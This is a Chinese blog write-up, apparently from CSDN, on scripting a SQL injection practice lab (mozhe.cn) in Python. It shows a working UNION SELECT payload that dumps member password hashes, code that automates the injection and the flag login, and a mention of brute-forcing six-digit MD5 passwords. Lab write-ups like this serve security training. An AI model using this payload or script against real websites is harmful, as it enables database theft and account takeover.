【用python自动注入“sql手工注入靶场”】

思路

先对靶场进行研究
在这里插入图片描述

获取ip和端口号

发现了开启靶场后,会返回一个ip地址+端口号:
在这里插入图片描述
观察HTML源码后,利用python正则获取每次开启靶场的端口号:
在这里插入图片描述
首先要在请求头里添加已登录的cookie:
【利用“Cookie-Editor+python脚本”将cookie生成key=value;key=value的形式】

url = "https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe"
headers = [
        ("User-Agent",
         "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36"),
        ('Cookie', cookie)
    ]
req = urllib.request.build_opener()
    req.addheaders = headers
    data = req.open(url).read().decode('utf-8')

获得html源码后再利用正则获取ip地址+端口号:

def get_ip_and_port(data):
    print('正在获取ip与端口...')
    ip_pat = re.compile(r'<em>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})</em>')
    port_pat = re.compile(r'<em>(\d{5})</em>')
    ip = ip_pat.search(data).group(1)
    port = port_pat.search(data).group(1)
    print(ip + ':' + port)
    return ip + ':' + port

注入获取登录密码md5值

访问ip+端口号后是一个登录界面:
在这里插入图片描述
存在注入的界面在登录框下方的通知里:
在这里插入图片描述
经过手工测试,登录名都为:mozhe,获取密码的注入payload为:

?id=-1%20union%20select%201,2,group_concat(password),4%20from%20mozhe_Discuz_StormGroup.StormGroup_member

注入后会获得两个md5密文,经测试,第二个才是随机的md5密码:
在这里插入图片描述
那么获取密码的方法就为:

def get_md5():
    payload = r'http://' + ip_and_port + r'/new_list.php?id=-1%20union%20select%201,2,group_concat(password),4%20from%20mozhe_Discuz_StormGroup.StormGroup_member'
    print(f'正在利用payload:\n{payload}\n注入获取md5值...')
    data = urllib.request.urlopen(payload).read().decode('utf-8')
    md5_pat = re.compile(r',([a-z0-9]{32})')
    print('获取md5成功!\n', md5_pat.search(data).group(1))
    return md5_pat.search(data).group(1)

登录后台获取flag

获取到md5密文后到解密网站解密,拿回来的明文密码登录登录。默认账号就是mozhe。登录后会获得一个以mozhe开头的32位flag,将这个flag上传就解题成功了。
在这里插入图片描述
在这里插入图片描述
在首页提交key即可:
在这里插入图片描述

获得明文密码后,自动登录。利用正则获取flag方法:

def get_flag():
    try:
        passwd = input()
        url = r'http://' + ip_and_port + '/login.php'
        form = {'name': 'mozhe', 'password': passwd}
        data = requests.post(url=url, data=form).text
        flag_pat = re.compile('(mozhe[a-z0-9]{27})')
        key = flag_pat.search(data).group(1)
        print('获得flag成功!')
        print(key)
        return key
    except Exception as e:
        print('获得flag失败!')
        print(e)

源码方法基本已给出,组装一下就可以用了。

简单测试

由于能力有限,没有写出自动获取md5值解密的方法,所以速度卡在了需要手动md5解密。

创个新号简单测试一下~
在这里插入图片描述
手动解密md5时再快点(其实还可以更快),再创个新号测试一下~
第一了,那就到此为止吧。
在这里插入图片描述


12.15 更:

鉴于其登录密码都为6位数md5值,可以采取本地暴力破解。具体方法参考:
https://blog.csdn.net/qq_44874645/article/details/111205561

再次尝试:
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值